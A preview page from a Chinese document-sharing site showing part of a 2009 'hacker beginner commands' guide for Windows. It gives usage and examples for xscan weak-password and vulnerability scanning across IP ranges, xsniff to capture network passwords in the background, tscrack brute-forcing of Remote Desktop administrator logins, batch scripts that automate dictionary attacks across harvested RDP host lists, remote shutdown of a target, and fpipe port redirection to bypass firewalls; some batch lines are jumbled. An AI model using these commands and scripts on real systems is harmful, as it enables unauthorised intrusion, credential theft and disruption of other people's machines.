资源预览内容
第1页 / 共4页
第2页 / 共4页
第3页 / 共4页
第4页 / 共4页
亲,该文档总共4页全部预览完了,如果喜欢就下载吧!
资源描述
网络高手、黑客必备初级命令大全(cmd dos) 入侵命令 (二) 2009 年 12 月 18 日 星期五 09:06 八:2、扫锚工具:xscan.exe 基本格式 xscan -host - 其他选项 扫锚“起始 IP 到终止 IP“段的所有主机信息 xscan -file 其他选项 扫锚“主机 IP 列表文件名“中的所有主机信息 检测项目 -active 检测主机是否存活 -os 检测远程操作系统类型(通过 NETBIOS 和 SNMP 协议) -port 检测常用服务的端口状态 -ftp 检测 FTP 弱口令 -pub 检测 FTP服务匿名用户写权限 -pop3 检测 POP3-Server 弱口令 -smtp 检测 SMTP-Server 漏洞 -sql 检测 SQL-Server 弱口令 -smb 检测 NT-Server 弱口令 -iis 检测 IIS 编码/解码漏洞 -cgi 检测 CGI 漏洞 -nasl 加载 Nessus 攻击脚本 -all 检测以上所有项目 其它选项 -i 适配器编号 设置网络适配器, 可通过“-l“参数获取 -l 显示所有网络适配器 -v 显示详细扫描进度 -p 跳过没有响应的主机 -o 跳过没有检测到开放端口的主机 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为 100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT 或 HTML 格式的文件) 用法示例 xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测 192.168.1.1-192.168.255.255 网段内主机的所有漏洞,跳过无响应的主机 xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测 192.168.1.1-192.168.255.255 网段内主机的标准端口状态,NT 弱口令用户,最大并发线程数量为 150,跳过没有检测到开放端口的主机 xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI 漏洞,最大并发线程数量为200,同一时刻最多检测 5 台主机,显示详细检测进度,跳过没有检测到开放端口的主机九:3、命令行方式嗅探器: xsniff.exe 可捕获局域网内FTP/SMTP/POP3/HTTP 协议密码参数说明 -tcp 输出TCP 数据报 -udp 输出 UDP 数据报 -icmp 输出 ICMP数据报 -pass 过滤密码信息 -hide 后台运行 -host 解析主机名 -addr IP 地址 过滤 IP 地址 -port 端口 过滤端口 -log 文件名 将输出保存到文件 -asc 以 ASCII 形式输出 -hex 以 16 进制形式输出 用法示例 xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在 pass.log 文件中 xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探 192.168.1.1 并过滤 tcp 和 udp 信息并以 ASCII 格式输出 4、终端服务密码破解: tscrack.exe 参数说明 -h 显示使用帮助 -v 显示版本信息 -s 在屏幕上打出解密能力 -b 密码错误时发出的声音 -t 同是发出多个连接(多线程) -N Prevent System Log entries on targeted server -U 卸载移除 tscrack组件 -f 使用f 后面的密码 -F 间隔时间(频率) -l 使用l 后面的用户名 -w 使用w 后面的密码字典 -p 使用p 后面的密码 -D 登录主页面 用法示例 tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator 的登陆密码 tscrack 192.168.0.1 -l administrator -p 123456 用密码 123456 远程登陆 192.168.0.1 的 administrator 用户 if not exist ipcscan.txt goto noscan for /f “tokens=1 delims= “ %i in (3389.txt) do call hack.bat %i nscan echo 3389.txt no find or scan faild (存为 3389.bat) (假设现有用SuperScan 或其它扫锚器扫到一批开有 3389 的主机IP 列表文件 3389.txt) 3389.bat 意思是:从3389.txt 文件中取一个 IP,接着运行 hack.bat if not exist tscrack.exe goto noscan tscrack %1 -l administrator -w pass.dic rouji.txt :noscan echo tscrack.exe no find or scan faild (存为 hack.bat) (运行 3389.bat 就 OK,且3389.bat、hack.bat、3389.txt、pass.dic 与tscrack.exe 在同一个目录下;就可以等待结果了) hack.bat 意思是:运行 tscrack.exe 用字典暴破3389.txt 中所有主机的 administrator 密码,并将破解结果保存在 rouji.txt 文件中。 5、其它:Shutdown.exe Shutdown IP 地址 t:20 20 秒后将对方 NT 自动关闭(Windows 2003 系统自带工具,在Windows2000 下用进就得下载此工具才能用。在前面Windows 2003 DOS 命令中有详细介绍。) fpipe.exe (TCP 端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙) fpipe -l 80 -s 1029 -r 80
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号